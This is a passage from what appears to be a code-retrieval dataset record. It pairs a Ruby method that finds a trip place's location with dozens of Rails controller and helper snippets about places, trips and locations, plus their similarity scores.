else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @place = Place.new\n end", "def create\n @place = @site.places.build(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to organisation_site_path(@site.organisation, @site), notice: 'Place was successfully created.' }\n format.json { render json: @place, status: :created, location: @place }\n else\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(user_id: params[:user_id], place_name: params[:place_name], latitude: params[:latitude], longitude: params[:longitude])\n\n if @place.save\n @trip_point = TripPoint.new(trip_id: params[:trip_id], place_id: @place.id, place_type: \"Favorite\")\n @trip_point.save!\n render :json => {:success => true}\n else\n render :json => {:success => false, :errors => [\"Creation failed.\"]}\n end\n end", "def create\n @place = Place.new(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to new_service_direction_path, notice: 'place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def by_place_id(place_id)\n raise StandardError, 'place_id cannot be null' if place_id.nil?\n url_tpl_params = @path_parameters.clone\n url_tpl_params[\"place%2Did\"] = place_id\n return MicrosoftGraph::Places::Item::PlaceItemRequestBuilder.new(url_tpl_params, @request_adapter)\n end", "def new\n \t@place = Place.new\n end", "def places\n body['places'].map { |p| Place.new(p, name) }\n end", "def place_details place_key\n\tplace_node = @places_auth_file.xpath \"//t:place[@xml:id='#{place_key}']\", @ns\n\tdetails_hash = {}\n\tdetails_hash[:geo] = place_node.xpath(\"t:location/t:geo\", @ns).text()\n\tdetails_hash[:settlement] = place_node.xpath(\"t:placeName[1]/t:settlement\", @ns).text()\n\tdetails_hash[:settlement_type] = place_node.xpath(\"t:placeName[1]/t:settlement/@type\", @ns).text()\n\tdetails_hash[:country_key] = place_node.xpath(\"t:placeName[1]/t:country/@key\", @ns).text()\n\tdetails_hash[:country_name] = place_node.xpath(\"t:placeName[1]/t:country\", @ns).text()\n\tdetails_hash\nend", "def new\n @place = Place.new\n end", "def new\n @place = Place.new\n end", "def create\n @tourist_place = TouristPlace.new(tourist_place_params)\n\n respond_to do |format|\n if @tourist_place.save\n format.html { redirect_to @tourist_place, notice: 'Tourist place was successfully created.' }\n format.json { render :show, status: :created, location: @tourist_place }\n else\n format.html { render :new }\n format.json { render json: @tourist_place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @travel_place = TravelPlace.new(params[:travel_place])\n\n respond_to do |format|\n if @travel_place.save\n flash[:notice] = 'TravelPlace was successfully created.'\n format.html { redirect_to(@travel_place) }\n format.xml { render :xml => @travel_place, :status => :created, :location => @travel_place }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @travel_place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_trip(trip_proxy)\n\n trip = Trip.new()\n trip.creator = current_or_guest_user\n trip.user = @traveler\n trip.trip_purpose = TripPurpose.find(trip_proxy.trip_purpose_id)\n\n # get the start for this trip\n from_place = TripPlace.new()\n from_place.sequence = 0\n place = get_preselected_place(trip_proxy.from_place_selected_type, trip_proxy.from_place_selected.to_i, true)\n if place[:poi_id]\n from_place.poi = Poi.find(place[:poi_id])\n elsif place[:place_id]\n from_place.place = @traveler.places.find(place[:place_id])\n else\n from_place.raw_address = place[:address]\n from_place.lat = place[:lat]\n from_place.lon = place[:lon] \n end\n\n # get the end for this trip\n to_place = TripPlace.new()\n to_place.sequence = 1\n place = get_preselected_place(trip_proxy.to_place_selected_type, trip_proxy.to_place_selected.to_i, false)\n if place[:poi_id]\n to_place.poi = Poi.find(place[:poi_id])\n elsif place[:place_id]\n to_place.place = @traveler.places.find(place[:place_id])\n else\n to_place.raw_address = place[:address]\n to_place.lat = place[:lat]\n to_place.lon = place[:lon] \n end\n\n # add the places to the trip\n trip.trip_places << from_place\n trip.trip_places << to_place\n\n planned_trip = PlannedTrip.new\n planned_trip.trip = trip\n planned_trip.creator = trip.creator\n planned_trip.is_depart = trip_proxy.arrive_depart == 'departing at' ? true : false\n planned_trip.trip_datetime = trip_proxy.trip_datetime\n planned_trip.trip_status = TripStatus.find_by_name(TripStatus::STATUS_NEW) \n \n trip.planned_trips << planned_trip\n\n return trip\n end", "def add_place(*place)\n reset_places\n unless place.blank?\n what.query.add(:places) << place.flatten \n changed\n end\n end", "def create\n @place = Place.find(params[:place_id]) #pull place_id out of URL\n @place.comments.create(comment_params.merge(user: current_user)) #connect comments to the place, merge in info about user\n redirect_to place_path(@place) \n end", "def new\n @place = @event.places.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @place }\n end\n end", "def create\n @trip = Trip.new(user_id: params[:user_id], trip_name: params[:trip_name], distance: params[:distance], walked_at: Time.now)\n @origin = Place.new(user_id: params[:user_id], place_name: params[:origin_name], latitude: params[:origin_lat], longitude: params[:origin_long])\n @destination = Place.new(user_id: params[:user_id], place_name: params[:dest_name], latitude: params[:dest_lat], longitude: params[:dest_long])\n if @trip.save && @origin.save && @destination.save\n @origin_point = TripPoint.new(trip_id: @trip.id, place_id: @origin.id, place_type: \"Origin\")\n @destination_point = TripPoint.new(trip_id: @trip.id, place_id: @destination.id, place_type: \"Destination\")\n @origin_point.save\n @destination_point.save\n else\n render :json => {:success => false, :errors => [\"Trip creation failed.\"]}\n end\n end", "def new\n @trip = current_user.trips.new\n @places = []\n end", "def create\n redirect_to(root_url) unless current_user\n\n @place = current_user.places.build(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def add_place(place)\n if place.validate && !@places.include?(place.name) \n @places[place.name] = place.id\n @objects[place.id] = place\n place.net = self\n return place.id\n end\n changed_structure\n return false\n end", "def set_places\n @place = Place.find(params[:id])\n end", "def create\n @place = Place.new(place_params)\n\n \n @place.save\n \n \n \n end", "def create\n @origin = Origin.new(\n :latitude => trip_params[:origin][:latitude],\n :longitude => trip_params[:origin][:longitude]\n )\n @origin.save\n @destination = Destination.new(:address => trip_params[:destination][:address].concat(\" New York City\"))\n @destination.save\n @trip = Trip.new(:origin_id => @origin.id, :destination_id => @destination.id)\n @trip.save \n\n respond_to do |format|\n if @trip.save\n format.html { redirect_to @trip }\n format.json { render action: 'show', status: :created, location: @trip }\n else\n format.html { render action: 'new' }\n format.json { render json: @trip.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(place_params)\n if @place.save\n redirect_to @place, notice: \"Place was successfully created.\"\n else\n render :new, status: :unprocessable_entity\n end\n end", "def new\n @place = @site.places.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @place }\n end\n end", "def new\n @trip = current_user.trips.build\n 5.times {@trip.places.build}\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trip }\n end\n end", "def create\n @place = Place.new(params[:place])\n\n add_missing_translation_content(@place.place_translations)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to place_path(@place), notice: t('app.msgs.success_created', :obj => t('activerecord.models.place')) }\n format.json { render json: @place, status: :created, location: @place }\n else\n @place.name = params[:place][:name]\n @place.address = @place.place_translations.first.address\n @venue_categories = VenueCategory.with_venues\n @show_map = true\n\n gon.show_place_form = true\n gon.edit_place_form = true\n gon.default_address_selection_index = params[:address]\n gon.address_search_path = address_search_places_path\n gon.near_venue_id = @place.venue_id\n if @place.lat.present? && @place.lon.present?\n gon.lat = @place.lat\n gon.lon = @place.lon\n end\n\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def place_details(place_id:, language: nil)\n params = {'placeid' => place_id }\n if language\n params['language'] = language\n end\n\n self.client.request(url: \"/maps/api/place/details/#{self.client.response_format}\", params: params)\n end", "def create\n @place = Place.new(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = current_user.places.create(place_params)\n if @place.valid?\n redirect_to root_path\n else\n render :new, status: :unprocessable_entity\n end\n end", "def new\n @places = Place.all\n super\n end", "def create\n place = Place.new(params[:place])\n\n if place.save\n render json: place, status: :created, location: place\n else\n render json: place.errors, status: :unprocessable_entity\n end\n end", "def create\n @place = Place.new(place_params)\n\n @place.user_id = current_user.id\n\n add_tags\n \n if @place.save\n @place.update(place_params)\n render json: @place\n else\n render json: @place.errors\n end\n end", "def create\n @place = Place.new(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to cms_places_path, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to(@place, :notice => 'Place was successfully created.') }\n format.xml { render :xml => @place, :status => :created, :location => @place }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_placement(tower_class)\n @placed_tower = Model::Placement.new(tower_class)\n end", "def create\n @place = Place.new(place_params.except(:location))\n @place.creator_id = @current_creator.id\n \n # Create a new location or use an existing location\n if !place_params[:location] || place_params[:location].nil?\n render json: { error: \"The location was not provided\"}, status: :bad_request\n else\n get_location\n @place.location = @location\n \n #Save the place\n if @place.save\n render json: serialize_place(@place), status: :created\n else\n render json: { error: \"Something went wrong, the place could not be saved\" }, status: :bad_request\n end\n end \n end", "def create\n @schedule_place = SchedulePlace.new(schedule_place_params)\n\n respond_to do |format|\n if @schedule_place.save\n format.html { redirect_to schedule_places_path }\n format.json { render :show, status: :created, location: @schedule_place }\n else\n format.html { render :new }\n format.json { render json: @schedule_place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = @region.places.new(place_params)\n @place.user = current_user\n if @place.save\n render :show, status: :created, location: @place\n else\n render json: @place.errors, status: :unprocessable_entity\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render json: @place, status: :created, location: @place }\n else\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render json: @place, status: :created, location: @place }\n else\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render json: @place, status: :created, location: @place }\n else\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place, notice: 'Place was successfully created.' }\n format.json { render json: @place, status: :created, location: @place }\n else\n format.html { render action: \"new\" }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n flash[:notice] = 'Place was successfully created.'\n format.html { redirect_to(@place) }\n format.xml { render :xml => @place, :status => :created, :location => @place }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n flash[:notice] = 'Place was successfully created.'\n format.html { redirect_to(@place) }\n format.xml { render :xml => @place, :status => :created, :location => @place }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def build_address_details(xml, addressType, address)\n if not address.nil? then\n xml.tag!(addressType){\n xml.Location{\n xml.Address{\n xml.Firstname(address[:name]) \n xml.Street1(address[:address1]) unless address[:address1].nil?\n xml.Street2(address[:address2]) unless address[:address2].nil?\n xml.Street3(address[:address3]) unless address[:address3].nil?\n xml.City(address[:city]) unless address[:city].nil?\n xml.StateProv(address[:state]) unless address[:state].nil?\n xml.PostalCode(address[:zip]) unless address[:zip].nil?\n }\n }\n }\n end\n end", "def place\n term_values([:origin_info, :place, :placeTerm])\n end", "def set_add_other_place\n @add_other_place = AddOtherPlace.find(params[:id])\n end", "def create\n\t\tp = Place.new\n\t\tp.title = params['title']\n\t\tp.photo_url = params['photo_url']\n\t\tp.admission_price = params['admission_price']\n\t\tp.description = params['description']\n\t\tp.save\n\t\tredirect_to \"/\"\n\tend", "def create\n @place = Place.new(params[:place])\n\n respond_to do |format|\n if @place.save\n flash[:notice] = 'Place was successfully created.'\n format.html { redirect_to(@place) }\n format.xml { render :xml => @place, :status => :created, :location => @place }\n else\n format.html { render :action => \"new\", :layout=>false }\n format.xml { render :xml => @place.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_place\n @place = Place.find(params[:id])\n \n end", "def place( id )\n @places << id\n self\n end", "def create\n @place = current_user.places.create(place_params)\n #Check if validations are passed and the record actually got saved to our database\n if @place.valid?\n redirect_to root_path\n else\n render :new, status: :unprocessable_entity\n end\n end", "def touch_place_route\n return if self.route_id.nil?\n route.save\n route.place.save unless route.place_id.nil?\n end", "def create\n @my_map = current_my_map\n place = Place.find(params[:place_id])\n @way_point = @my_map.add_place(place.id)\n\n respond_to do |format|\n if @way_point.save\n format.html { redirect_to @way_point.my_map, notice: 'マイマップに追加しました。' }\n format.json { render action: 'show', status: :created, location: @way_point }\n else\n format.html { render action: 'new' }\n format.json { render json: @way_point.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n place_params = params.require(:place).permit(:name, :city_id, :address, :hours, :phone, :url, :about)\n user_id = session[:user_id]\n @user = User.find_by_id user_id\n @place = Place.new(place_params)\n @place.user_id = @user.id\n @city = City.find_by_id(params[:id])\n\n if @place.save\n redirect_to place_path @place\n else\n flash[:error] = \"Didn't save\"\n render :index\n end\n\n end", "def create\n @trip_waypoint = TripWaypoint.new\n @trip_waypoint.place_id = params[:place_id]\n @trip_waypoint.trip_id = params[:trip_id]\n @trip_waypoint.save\n\n respond_to do |format|\n if @trip_waypoint.save\n format.html { redirect_to edit_partner_trip_path(params[:trip_id]), notice: \"Le lieu a été ajouté à l'itinéraire\" }\n # format.json { render :show, status: :created, location: @trip_waypoint }\n else\n format.html { render :new }\n # format.json { render json: @trip_waypoint.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @time_and_place = TimeAndPlace.new(time_and_place_params)\n\n # create path for page to be rendered if save is successful\n new_path = '/trucks/' + @time_and_place.truck_id.to_s\n\n respond_to do |format|\n if @time_and_place.save\n format.html { redirect_to new_path, notice: 'Location was successfully saved.' }\n format.json { render :show, status: :created, location: @time_and_place }\n else\n format.html { render :new }\n format.json { render json: @time_and_place.errors, status: :unprocessable_entity }\n end\n end\n end", "def places=(value)\n @places = value\n end", "def create\n @place = Place.new(place_params)\n\n respond_to do |format|\n if @place.save\n format.html { redirect_to @place } #, notice: 'Place was successfully created.' }\n format.json { render :show, status: :created, location: @place }\n else\n format.html { render :new }\n format.json { render json: @place.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_place\n @place = Place.friendly.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def create\n @place = Place.find(params[:place_id]) # loads place that comment belongs to\n @place.comments.create(comment_params.merge(user: current_user)) # creates new comment based on values from form \n # merge/connect the comment with the current user that created it\n redirect_to place_path(@place)\n end", "def create\n @tour = Tour.new(tour_params)\n\n respond_to do |format|\n if @tour.save\n format.html { redirect_to new_place_path(@tour), notice: 'Tour was successfully created.' }\n format.json { render :show, status: :created, location: @tour }\n else\n format.html { render :new }\n format.json { render json: @tour.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_place\n @place = Place.find_by(id: params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def set_place\n @place = Place.find(params[:id])\n end", "def place\n if !@place.nil?\n \tPlace.find(@place.to_s)\n end\n end", "def get_place( city, category, place_id )\n place = get_deep_value( @places, city, category, place_id )\n if not place\n place = get_place_from_site( city, category, place_id )\n return nil if not place\n set_deep_value( @places, place, city, category, place_id )\n end\n place\nend", "def set_place\n # no need la\n # @place = Place.includes(:categories).find(params[:id])\n @place = Place.find(params[:id])\n end", "def create_trip_proxy(trip)\n\n # get the planned trip for this trip\n planned_trip = trip.planned_trips.first\n \n # initailize a trip proxy from this trip\n trip_proxy = TripProxy.new\n trip_proxy.traveler = @traveler\n trip_proxy.trip_purpose_id = trip.trip_purpose.id\n trip_proxy.arrive_depart = planned_trip.is_depart\n trip_proxy.trip_date = planned_trip.trip_datetime.strftime(TRIP_DATE_FORMAT_STRING)\n trip_proxy.trip_time = planned_trip.trip_datetime.strftime(TRIP_TIME_FORMAT_STRING)\n \n # Set the from place\n trip_proxy.from_place = trip.trip_places.first\n if trip.trip_places.first.poi\n trip_proxy.from_place_selected_type = POI_TYPE\n trip_proxy.from_place_selected = trip.trip_places.first.poi.id\n elsif trip.trip_places.first.place\n trip_proxy.from_place_selected_type = PLACES_TYPE\n trip_proxy.from_place_selected = trip.trip_places.first.place.id\n else\n trip_proxy.from_place_selected_type = RAW_ADDRESS_TYPE \n end\n\n # Set the to place\n trip_proxy.to_place = trip.trip_places.last\n if trip.trip_places.last.poi\n trip_proxy.to_place_selected_type = POI_TYPE\n trip_proxy.to_place_selected = trip.trip_places.last.poi.id\n elsif trip.trip_places.last.place\n trip_proxy.to_place_selected_type = PLACES_TYPE\n trip_proxy.to_place_selected = trip.trip_places.last.place.id\n else\n trip_proxy.to_place_selected_type = RAW_ADDRESS_TYPE \n end\n \n return trip_proxy\n \n end" ]
[ "0.72132593", "0.64105964", "0.6377707", "0.6343581", "0.61970913", "0.61484677", "0.60855484", "0.605337", "0.5919284", "0.5918735", "0.5836108", "0.58226466", "0.5803015", "0.5792237", "0.5768543", "0.573575", "0.5726044", "0.5690981", "0.5685284", "0.5670187", "0.5670187", "0.56684804", "0.56643015", "0.5662253", "0.56596696", "0.5655801", "0.55883145", "0.5583917", "0.5582538", "0.5579518", "0.5562527", "0.5544952", "0.5537366", "0.55218774", "0.54957163", "0.5485153", "0.54800355", "0.5476385", "0.54469347", "0.54179", "0.54179", "0.54179", "0.5411148", "0.5406372", "0.5404145", "0.53938186", "0.53910375", "0.53727394", "0.5336336", "0.5336181", "0.53294843", "0.5325841", "0.5323216", "0.5323216", "0.5323216", "0.5323216", "0.5320724", "0.5320724", "0.5316646", "0.53140247", "0.530656", "0.5305762", "0.5305494", "0.5305242", "0.5304443", "0.53002083", "0.5300056", "0.52992684", "0.5293944", "0.5292546", "0.5289251", "0.52862805", "0.5271945", "0.526892", "0.52684104", "0.5267961", "0.52573425", "0.52392256", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.5234685", "0.52332306", "0.5230282", "0.5217889", "0.5205327" ]
0.6943853
1
discover the location for this trip place from its relationships
def location # TODO Check this # return poi.location unless poi.nil? # return place.location unless place.nil? return get_location end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def location\n # If \"addresses\" was eager loaded; then search for the \"location\" address. Otherwise\n # do a scoped find.\n if addresses.length > 0\n addresses.select {|a| a.label == \"location\"}[0]\n else\n addresses[:location]\n end\n end", "def neighborhood\n self.locations.first.neighborhood\n end", "def location\n fetch('how_to_train_your_dragon.locations')\n end", "def get_location\n if target_relationships.count == 1\n item = target_relationships.first\n else\n item = target_relationships.sort_by {|tr| tr.read_attribute(:preposition) }.first\n end\n if item.nil?\n nil\n else\n if item.detail == 'default'\n item.target\n else\n ItemDetail.new(item.target, item.detail, item.preposition)\n end\n end\n end", "def location\n fetch('rick_and_morty.locations')\n end", "def location\n @location ||= person.location unless person.building_address_line_1 == person.location\n end", "def location\n fetch('hey_arnold.locations')\n end", "def based_near\n descMetadata.has_location #.map(&:location_name).flatten\n end", "def reverse_geocode_trip\n self.departure_location_address ||= Geocoder.search([departure_location_latitude, departure_location_longitude]).first.address\n self.arrival_location_address ||= Geocoder.search([arrival_location_latitude, arrival_location_longitude]).first.address\n end", "def travel_and_places; end", "def locate_pins(location); end", "def locations(place)\n get :loc => place\n end", "def locations\n @client.get('/BikePoint')\n end", "def set_location\n if @trip\n @location = @trip.locations.find(params['id'])\n else\n @location = Location.find(params['id'])\n end\n end", "def location\n fetch('games.league_of_legends.location')\n end", "def location\n fetch('simpsons.locations')\n end", "def locate(place)\n locations, = get :q => place\n return locations.first\n end", "def location\n attributes.fetch(:location)\n end", "def address\n self.location.address\n end", "def get_address_and_loc\n id = params[:place_id].to_i\n place = Place.find(id)\n render json: { address: place.address, loc: place.neighborhood }\n end", "def locations\n Location.all.select do |location|\n location.restaurant == self\n end\n end", "def place\n if @place\n @place\n elsif !self[Incident.place_predicate].empty?\n @place = Place.find(self[Incident.place_predicate].first)\n else\n nil\n end\n end", "def place\n if !@place.nil?\n \tPlace.find(@place.to_s)\n end\n end", "def location\n fetch('books.the_kingkiller_chronicle.locations')\n end", "def place\n Place.find(@place) if !@place.nil?\n end", "def restaurant\n location.restaurant\n end", "def place\n term_values([:origin_info, :place, :placeTerm])\n end", "def get_locations(network)\n user_roles = self.roles(network)\n if network.is_admin?(self)\n return network.campuses\n elsif user_roles.location_admin\n return self.my_campuses(network.id.to_s, true)\n end\n end", "def location_code\n # find the closest location\n location = area || city || province\n location.post_code\n end", "def location\n country = Carmen::Country.coded(self.country)\n if country.present? && self.state.present?\n location = country.subregions? ? country.subregions.coded(self.state).name : self.state\n location += \", \"\n else\n location = ''\n end\n country.present? ? location + country.name : nil\n end", "def show\n @trip = Trip.find(params[:id])\n @places = @trip.places\n end", "def locations_around\n locations_within_proximity.where.not(id: id)\n end", "def lookup_business_location\n BusinessLocator.new(self).lookup\n end", "def favorite_place_coords\n res = []\n stories.includes(:places => [{:place_categories => :parent}, :location]).each do |s|\n s.places.each do |p|\n next unless p.name.present?\n base_cat = p.get_parent_categories.first ? p.get_parent_categories.first.name : 'other'\n res << {name: p.name, base_category: base_cat, place_url: '/places/' + p.id.to_s, lat: p.location.lat, lng: p.location.lng}\n # binding.pry\n end\n end\n res\n end", "def location\n ans = location_answers.first\n ans ? ans.location : nil\n end", "def location\n Location.get(@entity['location_id'], client: @client)\n end", "def location\n # and call a private getter method within\n puts \"I live on #{address.split[1]} street.\"\n end", "def locations; end", "def location\n fetch('games.super_mario.locations')\n end", "def map_locs\n [location]\n end", "def map_locs\n [location]\n end", "def search\n \n # Populate the @traveler variable\n get_traveler\n \n query = params[:query]\n query_str = query + \"%\"\n Rails.logger.debug query_str\n\n # This array will hold the list of matching places\n matches = [] \n # We create a unique index for mapping etc for each place we find\n counter = 0 \n \n # First search for matching names in my places\n rel = Place.arel_table[:name].matches(query_str)\n places = @traveler.places.active.where(rel)\n places.each do |place|\n matches << {\n \"index\" => counter,\n \"type\" => PLACES_TYPE,\n \"name\" => place.name,\n \"id\" => place.id,\n \"lat\" => place.location.first,\n \"lon\" => place.location.last,\n \"address\" => place.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => place.name, :address => place.address} })\n }\n counter += 1\n end\n \n # Second search for matching address in trip_places. We manually filter these to find unique addresses\n rel = TripPlace.arel_table[:raw_address].matches(query_str)\n tps = @traveler.trip_places.where(rel).order(\"raw_address\")\n old_addr = \"\"\n tps.each do |tp|\n if old_addr != tp.raw_address\n matches << {\n \"index\" => counter,\n \"type\" => CACHED_ADDRESS_TYPE,\n \"name\" => tp.raw_address,\n \"id\" => tp.id,\n \"lat\" => tp.lat,\n \"lon\" => tp.lon,\n \"address\" => tp.raw_address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => tp.name, :address => tp.raw_address} })\n }\n counter += 1\n old_addr = tp.raw_address\n end \n end\n \n # Lastly search for matching names in the POI table\n rel = Poi.arel_table[:name].matches(query_str)\n pois = Poi.where(rel).limit(MAX_POIS_FOR_SEARCH)\n pois.each do |poi|\n matches << {\n \"index\" => counter,\n \"type\" => POI_TYPE,\n \"name\" => poi.name,\n \"id\" => poi.id,\n \"lat\" => poi.lat,\n \"lon\" => poi.lon,\n \"address\" => poi.address,\n \"description\" => render_to_string(:partial => \"/shared/map_popup\", :locals => { :place => {:icon => 'icon-building', :name => poi.name, :address => poi.address} })\n }\n counter += 1\n end\n \n respond_to do |format|\n format.js { render :json => matches.to_json }\n format.json { render :json => matches.to_json }\n end\n end", "def locations\n profile = \"http://hl7.org/fhir/us/davinci-drug-formulary/StructureDefinition/usdf-InsurancePlanLocation\"\n bundle = @client.search(FHIR::Location, search: { parameters: { _profile: profile } }).resource&.entry || []\n areas = bundle.each_with_object({}) do |entry, areahashbyid|\n areahashbyid[entry.resource.id] = Location.new(entry.resource)\n end\n\n areas.deep_symbolize_keys\n end", "def get_location_info(article_id)\n \n location_id_info_object = MatchAwL.find_by_var(\"articles_with_locations\", \"article_id\", article_id)\n location_id = location_id_info_object.location_id\n location_object = Location.find_by_var(\"location_keys\", \"id\", location_id)\n @location_name = location_object.location_name\n \n @address = location_object.address\n \n end", "def location\n @location ||= Station.get(@attrs['LocationCode'])\n end", "def locations\n locations_res.data.locations.map {|loc| location_res_to_map(loc)}\n end", "def location\n \"#{((street_id.nil? or street.nil?) ? I18n.t('noname') : (street.isempty? ? I18n.t('no-street') : street.name.to_s) + ', ' + (street.city_id.nil? ? I18n.t('no-city') : (street.city_isempty ? I18n.t('no-city') : street.city_name.to_s) + ', ' + ((street.state_id.nil? or street.state_name.empty?) ? I18n.t('no-state') : street.state_name.to_s)))}\"\n end", "def get_location\n @street = request.location.street\n @city = request.location.city\n @state = request.location.state\n @country = request.location.country\n end", "def location\n return nil if reference?\n ensure_full_data!\n @gapi_json[:location]\n end", "def find_place\n\t\t\tif params[:country_id] && params[:state_id] && params[:city_id] && params[:place_id] && params[:place_id].length > 0\n\t\t\t\t@place = Place.find(:first, :conditions => [\"url_part = ? OR uuid = ?\", params[:place_id], params[:place_id]])\n\t\t\tend\n\t\tend", "def find_place\n\t\t\tif params[:country_id] && params[:state_id] && params[:city_id] && params[:place_id] && params[:place_id].length > 0\n\t\t\t\t@place = Place.find(:first, :conditions => [\"url_part = ? OR uuid = ?\", params[:place_id], params[:place_id]])\n\t\t\tend\n\t\tend", "def organism_place_name\n if places.first\n places.first.name\n elsif location\n location\n end\n end", "def location\n if [latitude, longitude].all?(&:present?)\n [latitude, longitude]\n end\n end", "def location\n b = []\n b << latitude\n b << longitude\n Geocoder.coordinates(b)\n end", "def locate(place)\n check_api_key\n @location = Hamweather::Location.parse(place)\n end", "def location\n fetch('harry_potter.locations')\n end", "def locations(query = {})\n get('location', query)\n end", "def location\n fetch('doraemon.locations')\n end", "def map_locs\n itineraries.collect(&:location)\n end", "def location\n return Location.find_by_LOCATION_PROFILE_ID(self.LOCATION_PROFILE_ID)\n end", "def my_location\n\t\t\"#{address}, #{city}, GA\"\n\tend", "def destinations(object, coord = nil)\n if coord\n AssociationMap.get_associated_data(object, DESTINATION, coord: opts[:coord])\n else\n AssociationMap.get_associated_data(object, DESTINATION)\n end\n end", "def test_get_location_contains\n locations = LocationRelation.new\n locations.add_location Location.new('test_location_2', 0, 0)\n assert_equal 'test_location_2', locations.get_location('test_location_2').name_reader\n end", "def locations\n unless defined?(@locations)\n @locations=[]\n for loc in Location.order(\"id ASC\").includes(:bottom_right_coordinate, :top_left_coordinate)\n @locations << loc if do_overlap_with?(loc.area)\n end \n end \n @locations\n end", "def location_detail\n\t\t[self.city, self.state, self.country].compact.join(\", \")\n\tend", "def getAllLocations()\n coll = self.coll_locations\n puts coll.find()\n coll.find.each { |row| puts row.inspect }\n end", "def location_detail\n query = params[:address]\n Geocoder::Configuration.timeout = 10000\n @dest_location = Geocoder.search(query).first\n logger.info\"<====================#{@dest_location.inspect}=============#{@dest_location.formatted_address}============>\"\n 